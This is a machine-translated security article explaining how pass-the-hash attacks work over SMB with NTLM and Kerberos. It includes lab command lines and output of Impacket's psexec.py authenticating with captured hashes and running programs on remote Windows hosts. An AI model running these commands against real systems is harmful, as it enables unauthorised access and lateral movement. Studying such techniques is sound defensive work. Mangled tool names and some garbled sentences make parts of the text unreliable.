Root question: Exploring the principle of Hash transfer attack

Source: Internet
Author: User
Tags hmac

Root question: Exploring the principle of Hash transfer attack

 


 

Author: walkerfuz

0 × 00 Preface

A: Do you know the Hash transfer attack, that is, you can directly log on to the remote host using Hash instead of the plaintext password.

B: It seems that this is a vulnerability. It should have been fixed after Win7.

A: I tried Metasploit just now. The latest Win7 system is also supported.

B: No way. Since Hash can log on to the remote host without cracking, isn't the mechanism that Microsoft uses to store plaintext passwords as NTLM Hash much more?

A :~! @ # $ % ......

What you said is so rational that I was speechless.

We are the above passers-by. This is the sorrow that doesn't understand the principle. It seems like everything is actually nothing. In order to learn by yourself, we will sort out weak knowledge points for your reference.

0 × 01 Pass The Hash

Wikipedia provides the following information about Hash transfer Attacks:

Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.

Attackers can directly access remote hosts or services through LM Hash and NTLM Hash without providing plaintext passwords.

In China, Hash transfer attacks are mainly discussed as follows:

1. access remote host sharing resources by using the sharexec module in Metasploit

2. Use Win8.1/2012 restricted administrator mode to access remote hosts

Metasploit's successful xec module on my machine for the first time, and the second error occurs:

[-] Exploit failed: ActiveRecord::RecordInvalid Validation failed: Data has already been taken

After dropping the cmd.exe process, you can log on successfully, but you cannot upload the load. The initial analysis is a problem with the Metasploit database. Therefore, the experiment was conducted using mongoxec. py in the Impacket open-source toolkit.

Attack environment: Win7x64 Workgroup Python2.7 + running xec. py

Target environment: Latest Win7x86 Workgroup

1. Install impacket package (dependency package: Pyasn1-0.1.8 and pycrypto2.6.1)

2. Copy the export xec. py file to any folder and run:

C:\ >python psexec.py test@11.11.11.25 -hashes A********BCDE:84********83 -c calc.exe
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
[*] Trying protocol 445/SMB...
[*] Requesting shares on 11.11.11.25.....
[*] Uploading file oOhZZRyI.exe
[*] Opening SVCManager on 11.11.11.25.....
[*] Creating service Ouqw on 11.11.11.25.....
[*] Starting service Ouqw.....
[*] Uploading file calc.exe
[!] Press help for extra shell commands

On the target machine:


 

It can be found that the calc process has been executed. (The session isolation feature after Windows 7 is involved: the calc process runs in session 0, and the login test account runs in session 1, so the interface of its calculator cannot be displayed)

You can use Wireshark to capture packets during this period:


 

If you use the net use command to directly log on to Remote sharing:


 

Comparison shows that the smb protocol in net use is based on the NetBIOS protocol, while the smb protocol in ipvxec. py is based on the TCP protocol.

In this case, it is difficult for the SMB protocol to directly use Hash for negotiation and verification with the remote host? Why does net use the NetBIOS protocol? With these problems, let us join in the world of SMB protocol.

0 × 02 SMB protocol Introduction

The SMB protocol is a protocol that operates data between File sharing, printer sharing, named pipes, mail slots, and RPC over the network. CIFS is its cross-platform public version, it is the operating mechanism for the customer system to request files and print services from the server on the network and:

The SMB 2 Protocol uses either TCP or NetBIOS over TCP as underlying transports.

SMB protocol version development:

There are several different versions of SMB used by Windows operating systems:
CIFS – The ancient version of SMB that was part of Microsoft Windows NT 4.0 in 1996. SMB1 supersedes this version.
SMB 1.0 (or SMB1) – The version used in Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2
SMB 2.0 (or SMB2) – The version used in Windows Vista (SP1 or later) and Windows Server 2008
SMB 2.1 (or SMB2.1) – The version used in Windows 7 and Windows Server 2008 R2
SMB 3.0 (or SMB3) – The version used in Windows 8 and Windows Server 2012

It is worth noting that:

The SMB 2 Protocol supports Direct TCP, NetBIOS over TCP.

SMB supports running directly on TCP or encapsulated on NetBIOS. the SMB protocol of py runs directly on TCP, while the packet capture of the net use command runs on the NetBIOS protocol. If you are interested, you can capture packets and check that each SMB packet contains the NetBIOS Session Service segment.

Taking the SMB2 protocol as an example, it is divided into session negotiation, user or shared authentication, resource access, and other processes:


 

If the client needs to negotiate the SMB protocol version with the server at first, it needs to perform secondary communication:


 

General process explanation:

1. the client sends an SMB Negotiate Request packet, negotiates the SMB protocol version with the server, and the server returns SMB Negotiate Response 2. after negotiation, the client initiates a user or shared authentication to the server through the SMB Session Setup Request packet. The server returns the SMB Session Setup Response to determine whether to allow or deny the client connection. 3. after the negotiation and authentication are completed, the client will get a SessionId. The client uses this Id to send the SMB Tree Connect Request packet to inform the server of the specific network resources it wants to access. By default, \ IPC $ is requested first.

Remarks: Explanation of the two methods of shared authentication and user authentication in the SMB protocol

There are two security modes in the SMB protocol:

1. shared-level security mode: This mode requires a password to access Shared Resources on the network. You can use the correct password to access network resources. user-level security mode: This is a shared enhanced version. You must use a pair of login names/passwords to access shared resources.

Currently, the user-level security mode is used by default.

The authentication is involved in the SMB_Session_Setup Request and Response phases:

For authentication, the SMB 2 Protocol relies on Simple and Protected GSS-API Negotiation, which in turn may rely on the Kerberos Protocol Extensions or the NT LAN Manager (NTLM) Authentication Protocol.

That is to say, the SMB protocol performs Authentication through the Kerberos protocol or the NTLM protocol:

 


 

Here focuses on the NTLM protocol, it is recommended that Kerberos protocol read the in-depth interpretation of MS14-068 vulnerabilities: Microsoft carefully planned backdoor? This soft article.

0 × 03 relationship between NTLM protocol and Hash

Early SMB protocols transmit plaintext passwords over the network. Later, the LAN Manager Challenge/Response verification mechanism emerged, which was so simple that it was easily cracked. Later, Microsoft proposed the WindowsNT Challenge/Response verification mechanism, called NTLM.

Now we have an updated NTLMv2 and Kerberos verification system.

What is the Challenge-Response Challenge/Response verification mechanism? Let's start with the simplest Design of password authentication:

1. the Client must prove its identity to the Server. both the Client and Server share a Secret, which can prove the identity of the Client. therefore, the Client must provide this secret to the Server, but it is obvious that the Client cannot disclose this secret to others; otherwise, others can forge it.

So how does the Client and Server perform authentication? Since the Client cannot disclose this secret, they have come up with a solution:

The Server first gives the Client a Challenge (a random number). The Client uses this Challenge as the Key to encrypt the Secret and sends it to the Server. The Server uses Challenge to decrypt the Secret to verify that the Client's identity is valid, for example:


 

The unpredictability and uniqueness of Challenge must be ensured to prevent attacks against the protocol.

Later, when people proposed that the Windows Password be saved using Hash, NTLM v1 evolved:


 

We can see that in SMB Negotiate Protocol Response, not only the SMB version is negotiated, but also the 8-byte Challenge is returned to the Client, the Client uses this Challenge to encrypt LM_Hash and NT_Hash and send them to the Server for verification.

After practice, it is learned that if the above data packet is intercepted by a malicious third party to obtain the Challenge and encrypted Hash values, LM_Hash and NT_Hash are also easy to leak, therefore, Microsoft added TimeStamp timestamps to prevent such attacks, that is, NTLM v2:


 

It can be seen that the Timestamp mark is used during the encryption of Session Setup Request.

The above describes the authentication process of the NTLM protocol in the Workgroup environment. For authentication in the Domain environment, the Client needs to request Challenge from the Domain Controller, then, the Challenge is used to send the encrypted Hash to the Server. The Server forwards the encrypted Hash to the DC Domain Controller to verify the authenticity of the Client identity.

Now I understand that NTLM uses LM Hash and NT Hash for identity authentication.

The BlackHat2010 Conference introduced how to predict Challenge attacks in Windows. If you are interested, Google may be involved. The defect of NTLM is that although it can prove the authenticity of the Client to the Server, however, it is impossible to prove the authenticity of the Server to the Client, so the later Kerberos protocol emerged and will not be detailed in detail.

What about the Kerberos protocol? Kids who are familiar with the Kerberos protocol also know that the Kerberos protocol uses Hash for identity authentication. However, the Kerberos protocol uses the Client's local cache certificate for authentication with the Server by default. the-k parameter in py is also explained as follows:

Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line

Experiment with objective xec:

C:\>python psexec.py abc.com/administrator@abc.com -k -hashes 5*****E:3***592
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
[*] Trying protocol 445/SMB...
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

You can find that the default failure is successful. In this case, you only need to delete the cache certificate from the Client machine:

C:\>klist
Current LogonId is 0:0x4a660
Cached Tickets: (4)
#0>     Client: domainuser @ ABC.COM
        Server: krbtgt/ABC.COM @ ABC.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 9/28/2015 15:55:23 (local)
        End Time:   9/29/2015 1:55:23 (local)
        Renew Time: 10/5/2015 15:55:23 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)

Delete:

C:\>klist purge
Current LogonId is 0:0x4a660
        Deleting all tickets:
        Ticket(s) purged!

Then use unzip xec:

C:\>python psexec.py abc.com/administrator@swg.abc.com -k -hashes E*****DA:E*****B6
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
 [*] Trying protocol 445/SMB...
 [*] Requesting shares on swg.abc.com.....
[*] Found writable share C$
[*] Uploading file KOFAMWng.exe
[*] Opening SVCManager on swg.abc.com.....
[*] Creating service CpKh on swg.abc.com.....
[*] Starting service CpKh.....
[!] Press help for extra shell commands

It can be found that the Kerberos protocol can also perfectly implement Hash transfer attacks.

Supplement:

Although Kerberos has already become the default security authentication protocol in the domain environment, when the client accesses the server using an IP address, it still uses the NTLM protocol for identity authentication, because the Server's SPNs (service principal name) are not provided at this time ). In the domain environment, both of these methods can complete the Hash transfer Attack:

C:\>python psexec.py abc.com/administrator@swg.abc.com -k -hashes E****DA:E****B6 -c calc.exe [Kerberos]
C:\>python psexec.py administrator@192.168.1.2 -hashes E*****DA:E*****B6 -c calc.exe  [NTLM]

We hope you can understand the differences between the protocols used in this document.

0 × 04 Summary

The previous understanding of the NTLM and Kerberos protocols proves a very serious fact:

The Microsoft protocol itself supports Hash transfer attacks, which are not "vulnerabilities" that have been fixed ".

Back to the question at the beginning of the article:

Since Hash can be used to log on to the remote host without cracking, isn't Microsoft's effort to store plaintext passwords as NTLM Hash?

How can I explain this? The Hash mechanism is currently a safer type of encryption, so it is impossible for Microsoft to discard Hash. Therefore, the focus of enterprises to solve this problem is not to use Hash, but to use previous Hash acquisition:

The best defense against PTH attacks is to prevent the attackers from getting superadmin access in the first place.

Some people have also proposed a safer Hash mechanism:

Vista, Windows 7, and Windows Server 2008 (and later versions), for example, use Kerberos with an AES hash instead of the traditional NT hash. While PTH attackers could ultimately use the AES hashes instead, they don't look for them right now, and none of the publicly available PTH tools work with them.

To sum up, if there is any leakage, please correct it.


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.